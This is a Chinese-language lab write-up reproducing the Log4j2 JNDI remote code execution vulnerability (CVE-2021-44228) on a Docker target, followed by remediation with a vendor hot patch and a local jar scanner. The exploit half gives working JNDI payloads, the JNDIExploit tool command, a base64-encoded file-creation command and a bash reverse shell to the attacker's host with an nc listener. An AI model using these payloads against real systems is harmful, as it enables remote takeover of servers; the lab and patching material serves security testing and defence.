漏洞复现
靶机地址:10.211.55.8
CentOS主机,安装docker,使用docker部署靶机环境
攻击机地址:192.168.43.241
配置靶机
下载
1 | docker pull vulfocus/log4j2-rce-2021-12-09 |
启动
1 | docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 |
将靶机的8080端口映射为CentOS主机的38080端口


漏洞测试
漏洞验证
漏洞存在于hello目录下,直接请求此目录会产生如下提示

使用
DNSLog验证漏洞是否存在
使用
hackbar工具修改请求包漏洞利用的参数为
payload漏洞验证代码为
${jndi:ldap://xxx.dnslog/exp}
漏洞验证结果
请求结果

DNSLog收到解析结果
证明漏洞存在
远程命令执行
启动JNDIExploit工具
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.43.241 |

远程创建文件
首先进入
docker靶机1
docker exec -it 7e12c /bin/bash
查看
/tmp目录下文件
使用
BurpSuite修改请求数据包并发送请求字段为
payload=${jndi:ldap://192.168.43.241:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC9hYWE%253d}其中
dG91Y2ggL3RtcC9hYWE%253d为touch /tmp/aaa命令经过base64+两次url编码形成
查看
JNDIExploit工具发现已经有数据流量通过

查看靶机
/tmp目录发现已经成功创建
aaa文件
GetShell
攻击机使用
nc开启7777端口的监听1
nc -l 7777

编写反弹
shell命令1
bash -i >& /dev/tcp/192.168.43.241/7777 0>&1
修改请求包并发送
请求字段为
payload=${jndi:ldap://192.168.43.241:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI0MS83Nzc3IDA%252bJjE%253d}其中
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI0MS83Nzc3IDA%252bJjE%253d为bash -i >& /dev/tcp/192.168.43.241/7777 0>&1经过base64+两次url编码形成
查看
JNDIExploit工具流量
查看
nc监听已成功获取反弹
shell
火绒热补丁修复
Linux
验证漏洞存在


部署热补丁
确保存在漏洞主机配置好
java环境变量1
vim ~/.bash_profile
在文件末尾添加如下语句
1
2
3
4export JAVA_HOME=JDK的目录
export JRE_HOME=JRE的目录
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar
使文件生效
1
source ~/.bash_profile
火绒热补丁程序下载地址
1
https://bbs.huorong.cn/thread-96320-1-1.html
将火绒补丁程序放置于存在漏洞主机中,解压
1
unzip CVE-2021-44228-mitigator-Linux-v1.1.zip -d 1

进入解压目录,授于
.sh文件执行权限1
2cd 1/
chmod 744 CVE-2021-44228_mitigator.sh
执行
1
./CVE-2021-44228_mitigator.sh

出现上图说明存在漏洞,并自动安装了热补丁,无需重启
注意:热补丁在重启主机后失效,重启后需重新运行程序
验证漏洞是否修复

经过较长时间等待后,发现无任何返回值,漏洞已不存在

长亭牧云本地检查工具
注意:本工具基于本地log4j2组件所属jar包版本进行检查,若使用上面”火绒热补丁修复”方案,使用本工具仍可检查到存在漏洞
下载地址
1 | https://log4j2-detector.chaitin.cn/ |
根据不同类型主机选择不同版本下载即可
Linux
下载本地检查工具后,放置于需要检查的主机中,解压
1
tar xzvf log4j2_local_scanner_linux_amd64.v3.tar.gz

执行
1
./log4j2_local_scanner_linux_amd64.v3 # 默认为全部jar文件,其他命令参数参考此工具官方网站

程序会列出存在漏洞的
jar包及其路径以上图为例:
/root/demo/demo.jar中包含log4j-core-2.14.0.jar,属于存在漏洞的版本。此demo.jar为本地测试靶机环境,并且已通过“火绒热补丁修复”方案进行修复(此工具仍可检查到)其他检查结果项为
docker中使用的log4j-core-2.14.0.jar组件,需按照docker官方给出的修复方案进行修复(类似的,若业务系统中使用了某些开源软件或商业软件,具体修复方法应遵循开源社区或官方出具的方案)